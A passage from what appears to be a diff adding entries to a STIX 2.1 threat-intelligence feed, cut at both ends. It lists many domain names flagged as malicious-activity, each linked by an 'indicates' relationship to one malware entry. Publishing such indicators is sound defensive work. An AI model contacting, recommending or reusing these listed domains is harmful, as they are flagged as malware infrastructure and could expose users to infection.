"2023-03-29T12:58:43.81419Z", + "modified": "2023-03-29T12:58:43.81419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='evadetiara.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.81419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f27ae8b0-6664-479b-9a27-12b40515070f", + "created": "2023-03-29T12:58:43.814792Z", + "modified": "2023-03-29T12:58:43.814792Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f32724d-76ae-4fd1-ac28-0159cba7e679", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f18fc27-4906-410e-850a-8fa9f6ebc476", + "created": "2023-03-29T12:58:43.814963Z", + "modified": "2023-03-29T12:58:43.814963Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='phoninesstwirl.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.814963Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--277d42b6-6d15-4d81-b10e-b1115e763138", + "created": "2023-03-29T12:58:43.815684Z", + "modified": "2023-03-29T12:58:43.815684Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f18fc27-4906-410e-850a-8fa9f6ebc476", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a603c41c-de2f-4ca4-9e8a-cec68868e1ba", + "created": "2023-03-29T12:58:43.815862Z", + "modified": "2023-03-29T12:58:43.815862Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spentmatchbook.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.815862Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81bbc604-c202-4a5c-a3da-4d6be580e629", + "created": "2023-03-29T12:58:43.816468Z", + "modified": "2023-03-29T12:58:43.816468Z", + "relationship_type": "indicates", + "source_ref": "indicator--a603c41c-de2f-4ca4-9e8a-cec68868e1ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--174e9452-69cb-48b1-b289-b15949a7f597", + "created": "2023-03-29T12:58:43.816638Z", + "modified": "2023-03-29T12:58:43.816638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindonevs.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.816638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9db4839a-23b7-402a-956e-462692a15e72", + "created": "2023-03-29T12:58:43.817233Z", + "modified": "2023-03-29T12:58:43.817233Z", + "relationship_type": "indicates", + "source_ref": "indicator--174e9452-69cb-48b1-b289-b15949a7f597", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49c9b6f7-0014-4f4a-94ee-d2476ee5a9f5", + "created": "2023-03-29T12:58:43.817404Z", + "modified": "2023-03-29T12:58:43.817404Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='culminaterelax.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.817404Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db98e189-0fd9-4b44-9dee-72116fa4a1c1", + "created": "2023-03-29T12:58:43.818016Z", + "modified": "2023-03-29T12:58:43.818016Z", + "relationship_type": "indicates", + "source_ref": "indicator--49c9b6f7-0014-4f4a-94ee-d2476ee5a9f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a3cf419-1f0e-4731-b4ee-c42d2a20840c", + "created": "2023-03-29T12:58:43.818192Z", + "modified": "2023-03-29T12:58:43.818192Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lessonthree.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.818192Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8fe758c-1dfd-45b6-a973-12928f76ba40", + "created": "2023-03-29T12:58:43.818795Z", + "modified": "2023-03-29T12:58:43.818795Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a3cf419-1f0e-4731-b4ee-c42d2a20840c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a222393d-ab17-4798-9341-2aeff80f4f41", + "created": "2023-03-29T12:58:43.818969Z", + "modified": "2023-03-29T12:58:43.818969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chappedfrosted.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.818969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10a347ec-ea7d-48b7-b0ad-ff16dd8f0f01", + "created": "2023-03-29T12:58:43.819572Z", + "modified": "2023-03-29T12:58:43.819572Z", + "relationship_type": "indicates", + "source_ref": "indicator--a222393d-ab17-4798-9341-2aeff80f4f41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d1ceb70-4ca7-4022-aa49-f40b3926112b", + "created": "2023-03-29T12:58:43.819743Z", + "modified": "2023-03-29T12:58:43.819743Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roadshows.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.819743Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58061176-ece1-46d8-b630-e3cdab7ca496", + "created": "2023-03-29T12:58:43.820345Z", + "modified": "2023-03-29T12:58:43.820345Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d1ceb70-4ca7-4022-aa49-f40b3926112b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e6d32cf-baea-4a2f-9765-fd9d97389c3e", + "created": "2023-03-29T12:58:43.820518Z", + "modified": "2023-03-29T12:58:43.820518Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imitatekilometer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.820518Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16f851d1-600a-45d3-9a9a-9c1cf9014897", + "created": "2023-03-29T12:58:43.821136Z", + "modified": "2023-03-29T12:58:43.821136Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e6d32cf-baea-4a2f-9765-fd9d97389c3e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8603f70f-2f20-419d-a192-a4558cc54d1e", + "created": "2023-03-29T12:58:43.821309Z", + "modified": "2023-03-29T12:58:43.821309Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='obsoletecone.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.821309Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d17b6fd1-5e7d-49f2-8d85-f7dd54e59d49", + "created": "2023-03-29T12:58:43.82195Z", + "modified": "2023-03-29T12:58:43.82195Z", + "relationship_type": "indicates", + "source_ref": "indicator--8603f70f-2f20-419d-a192-a4558cc54d1e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2551707c-ca98-4601-bc14-ae0cba8cc1af", + "created": "2023-03-29T12:58:43.822125Z", + "modified": "2023-03-29T12:58:43.822125Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tightnessogle.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.822125Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58001936-6680-4419-bcb8-2c647e379251", + "created": "2023-03-29T12:58:43.822843Z", + "modified": "2023-03-29T12:58:43.822843Z", + "relationship_type": "indicates", + "source_ref": "indicator--2551707c-ca98-4601-bc14-ae0cba8cc1af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55346bbf-fd55-4643-b6cf-cf195056e42a", + "created": "2023-03-29T12:58:43.823019Z", + "modified": "2023-03-29T12:58:43.823019Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='extrovertsurfer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.823019Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cb11634-883c-4ebb-9b5b-fde5177de43e", + "created": "2023-03-29T12:58:43.823628Z", + "modified": "2023-03-29T12:58:43.823628Z", + "relationship_type": "indicates", + "source_ref": "indicator--55346bbf-fd55-4643-b6cf-cf195056e42a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4fa731e2-9e34-4354-8e54-d20a3c5a3820", + "created": "2023-03-29T12:58:43.8238Z", + "modified": "2023-03-29T12:58:43.8238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cameocrayon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.8238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c50799f-9b01-412f-b385-13e0e9e8e866", + "created": "2023-03-29T12:58:43.824448Z", + "modified": "2023-03-29T12:58:43.824448Z", + "relationship_type": "indicates", + "source_ref": "indicator--4fa731e2-9e34-4354-8e54-d20a3c5a3820", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c632567-f644-4a86-8c02-351ef1e460ed", + "created": "2023-03-29T12:58:43.824628Z", + "modified": "2023-03-29T12:58:43.824628Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rugrailway.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.824628Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0ae1a62-fe4b-428b-82e8-236b9a5091ea", + "created": "2023-03-29T12:58:43.825228Z", + "modified": "2023-03-29T12:58:43.825228Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c632567-f644-4a86-8c02-351ef1e460ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f885d21-91d6-4e1a-b79b-81c4b1ecdeb7", + "created": "2023-03-29T12:58:43.8254Z", + "modified": "2023-03-29T12:58:43.8254Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='penaltycanteen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.8254Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d0b84680-3579-4ae4-ad4b-b6d00cd7de53", + "created": "2023-03-29T12:58:43.826014Z", + "modified": "2023-03-29T12:58:43.826014Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f885d21-91d6-4e1a-b79b-81c4b1ecdeb7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7adde7e2-924b-4c7b-b745-2b612e9e2553", + "created": "2023-03-29T12:58:43.82619Z", + "modified": "2023-03-29T12:58:43.82619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nicknamestopper.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.82619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b9fc311-73ac-458d-8444-fb6c5ffb67f7", + "created": "2023-03-29T12:58:43.826849Z", + "modified": "2023-03-29T12:58:43.826849Z", + "relationship_type": "indicates", + "source_ref": "indicator--7adde7e2-924b-4c7b-b745-2b612e9e2553", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb6a7470-e971-4101-8e90-bfb0e6fe46a0", + "created": "2023-03-29T12:58:43.827026Z", + "modified": "2023-03-29T12:58:43.827026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crispnesscheating.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.827026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a12c110-ad2b-4888-a15f-1b52c3e8f7ae", + "created": "2023-03-29T12:58:43.827638Z", + "modified": "2023-03-29T12:58:43.827638Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb6a7470-e971-4101-8e90-bfb0e6fe46a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff7dcea4-c07f-41e9-b4f6-732186c477dd", + "created": "2023-03-29T12:58:43.827807Z", + "modified": "2023-03-29T12:58:43.827807Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dramatizeunbounded.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.827807Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d1026a5-8e95-4b8f-8a32-906aba1efd79", + "created": "2023-03-29T12:58:43.828416Z", + "modified": "2023-03-29T12:58:43.828416Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff7dcea4-c07f-41e9-b4f6-732186c477dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--133ffb44-17a8-4e60-8ce8-9ca1cd6a5cc1", + "created": "2023-03-29T12:58:43.828591Z", + "modified": "2023-03-29T12:58:43.828591Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salariedreconfirm.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.828591Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fff43e3c-a530-4728-874a-8d367071f332", + "created": "2023-03-29T12:58:43.829204Z", + "modified": "2023-03-29T12:58:43.829204Z", + "relationship_type": "indicates", + "source_ref": "indicator--133ffb44-17a8-4e60-8ce8-9ca1cd6a5cc1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e64333c-7547-4206-b832-2838ade043d6", + "created": "2023-03-29T12:58:43.829374Z", + "modified": "2023-03-29T12:58:43.829374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vaguenessenforcer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.829374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--637028e4-c43f-4c66-8bb3-9fd9b3f4233c", + "created": "2023-03-29T12:58:43.830109Z", + "modified": "2023-03-29T12:58:43.830109Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e64333c-7547-4206-b832-2838ade043d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee5af936-8f96-4c7d-92d5-b9f35f367908", + "created": "2023-03-29T12:58:43.830283Z", + "modified": "2023-03-29T12:58:43.830283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prevalentskillful.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.830283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b4ac224-639e-4b8f-a028-78daac1e1f65", + "created": "2023-03-29T12:58:43.830893Z", + "modified": "2023-03-29T12:58:43.830893Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee5af936-8f96-4c7d-92d5-b9f35f367908", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5e753a6f-0577-48a3-8bbf-c2594cad5cb8", + "created": "2023-03-29T12:58:43.831064Z", + "modified": "2023-03-29T12:58:43.831064Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiltedgreenhouse.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.831064Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--290ed05d-a75c-4e3f-84e6-7e8d469eecec", + "created": "2023-03-29T12:58:43.831668Z", + "modified": "2023-03-29T12:58:43.831668Z", + "relationship_type": "indicates", + "source_ref": "indicator--5e753a6f-0577-48a3-8bbf-c2594cad5cb8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4de60895-0fd9-462e-8882-f4ac9e033067", + "created": "2023-03-29T12:58:43.831837Z", + "modified": "2023-03-29T12:58:43.831837Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wirelesspuritan.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.831837Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a42284a-49e9-4088-bbbf-54214e04e11a", + "created": "2023-03-29T12:58:43.832456Z", + "modified": "2023-03-29T12:58:43.832456Z", + "relationship_type": "indicates", + "source_ref": "indicator--4de60895-0fd9-462e-8882-f4ac9e033067", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--343fd00d-3433-46a4-ab1b-f1f32e57f2c3", + "created": "2023-03-29T12:58:43.832627Z", + "modified": "2023-03-29T12:58:43.832627Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antelopehandsaw.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.832627Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfabc11f-c777-4475-bdab-c9460c1372d9", + "created": "2023-03-29T12:58:43.833229Z", + "modified": "2023-03-29T12:58:43.833229Z", + "relationship_type": "indicates", + "source_ref": "indicator--343fd00d-3433-46a4-ab1b-f1f32e57f2c3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c1d2914-c3e2-4d8c-8188-469a059d304b", + "created": "2023-03-29T12:58:43.8334Z", + "modified": "2023-03-29T12:58:43.8334Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubbydevalue.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.8334Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8bcb8ce6-6ac2-40de-a079-a1a1ececff16", + "created": "2023-03-29T12:58:43.834021Z", + "modified": "2023-03-29T12:58:43.834021Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c1d2914-c3e2-4d8c-8188-469a059d304b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4cbd59f-dcea-4283-8916-08eaf98339b3", + "created": "2023-03-29T12:58:43.834196Z", + "modified": "2023-03-29T12:58:43.834196Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='turbulentcrazy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.834196Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a202da04-0a9c-459b-b98c-6293b0030654", + "created": "2023-03-29T12:58:43.834797Z", + "modified": "2023-03-29T12:58:43.834797Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4cbd59f-dcea-4283-8916-08eaf98339b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0346f47d-0714-49cc-a9ea-02757580cb8b", + "created": "2023-03-29T12:58:43.834966Z", + "modified": "2023-03-29T12:58:43.834966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cesareandislocate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.834966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd00737d-eac0-472e-9b29-abaa0afd3721", + "created": "2023-03-29T12:58:43.835591Z", + "modified": "2023-03-29T12:58:43.835591Z", + "relationship_type": "indicates", + "source_ref": "indicator--0346f47d-0714-49cc-a9ea-02757580cb8b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3d25198-54e9-427e-a648-2812a679d62b", + "created": "2023-03-29T12:58:43.83576Z", + "modified": "2023-03-29T12:58:43.83576Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comacharcoal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.83576Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c8258f0-f962-4c4c-bf77-14b93bc707b5", + "created": "2023-03-29T12:58:43.836359Z", + "modified": "2023-03-29T12:58:43.836359Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3d25198-54e9-427e-a648-2812a679d62b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--34e553c2-2292-4a47-b74c-03d6bb12a06c", + "created": "2023-03-29T12:58:43.836528Z", + "modified": "2023-03-29T12:58:43.836528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rentaldiarycontent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.836528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ef0b7cb-cd88-41f2-8e20-8294fe1a4d27", + "created": "2023-03-29T12:58:43.837503Z", + "modified": "2023-03-29T12:58:43.837503Z", + "relationship_type": "indicates", + "source_ref": "indicator--34e553c2-2292-4a47-b74c-03d6bb12a06c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--89040b09-938b-4b90-9985-4aba47d26e10", + "created": "2023-03-29T12:58:43.837687Z", + "modified": "2023-03-29T12:58:43.837687Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fourrestarts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.837687Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6a870e4-77d4-4d62-9eda-60fcdf2713c7", + "created": "2023-03-29T12:58:43.838296Z", + "modified": "2023-03-29T12:58:43.838296Z", + "relationship_type": "indicates", + "source_ref": "indicator--89040b09-938b-4b90-9985-4aba47d26e10", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c459ef1-5343-4dc3-922d-a64f25586efe", + "created": "2023-03-29T12:58:43.838467Z", + "modified": "2023-03-29T12:58:43.838467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unrushedstiffness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.838467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63a12725-891d-43a0-ad1f-069bb461ad7e", + "created": "2023-03-29T12:58:43.83907Z", + "modified": "2023-03-29T12:58:43.83907Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c459ef1-5343-4dc3-922d-a64f25586efe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c92edfaf-e20e-4633-b151-080e630a194c", + "created": "2023-03-29T12:58:43.839242Z", + "modified": "2023-03-29T12:58:43.839242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dimedreamt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.839242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66d1c1f8-0471-4bf1-a5a9-93b57c1fba3e", + "created": "2023-03-29T12:58:43.839835Z", + "modified": "2023-03-29T12:58:43.839835Z", + "relationship_type": "indicates", + "source_ref": "indicator--c92edfaf-e20e-4633-b151-080e630a194c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--51a6ba60-ac99-4aed-8b70-08ddab5fe4a1", + "created": "2023-03-29T12:58:43.840003Z", + "modified": "2023-03-29T12:58:43.840003Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perceivebreach.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.840003Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--deac030d-7a30-40d8-bd13-d3979a6f10f9", + "created": "2023-03-29T12:58:43.840601Z", + "modified": "2023-03-29T12:58:43.840601Z", + "relationship_type": "indicates", + "source_ref": "indicator--51a6ba60-ac99-4aed-8b70-08ddab5fe4a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--67a27a75-6d39-4a46-917b-f861db8955f1", + "created": "2023-03-29T12:58:43.840769Z", + "modified": "2023-03-29T12:58:43.840769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unchecklagoon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.840769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c9621f0-c44c-4877-a941-6633d639c37f", + "created": "2023-03-29T12:58:43.841411Z", + "modified": "2023-03-29T12:58:43.841411Z", + "relationship_type": "indicates", + "source_ref": "indicator--67a27a75-6d39-4a46-917b-f861db8955f1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4ffac6a-cbc3-4ae2-8bd5-e5eeb04bc305", + "created": "2023-03-29T12:58:43.841594Z", + "modified": "2023-03-29T12:58:43.841594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='remindercelibate.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.841594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--29a92177-9669-40ac-978f-1ce9a09dc047", + "created": "2023-03-29T12:58:43.842204Z", + "modified": "2023-03-29T12:58:43.842204Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4ffac6a-cbc3-4ae2-8bd5-e5eeb04bc305", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e92ea36-c70d-4c1f-a396-76f8da8c690a", + "created": "2023-03-29T12:58:43.842373Z", + "modified": "2023-03-29T12:58:43.842373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='haintnape.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.842373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3100784d-5c16-4b58-bc3b-e6be473387de", + "created": "2023-03-29T12:58:43.842971Z", + "modified": "2023-03-29T12:58:43.842971Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e92ea36-c70d-4c1f-a396-76f8da8c690a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81fa5449-397c-403b-8a31-52f79e09cbb1", + "created": "2023-03-29T12:58:43.843139Z", + "modified": "2023-03-29T12:58:43.843139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gagunkind.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.843139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--348302e1-31a6-4c51-bbab-82ffa5c0c004", + "created": "2023-03-29T12:58:43.843794Z", + "modified": "2023-03-29T12:58:43.843794Z", + "relationship_type": "indicates", + "source_ref": "indicator--81fa5449-397c-403b-8a31-52f79e09cbb1", + "target_ref": 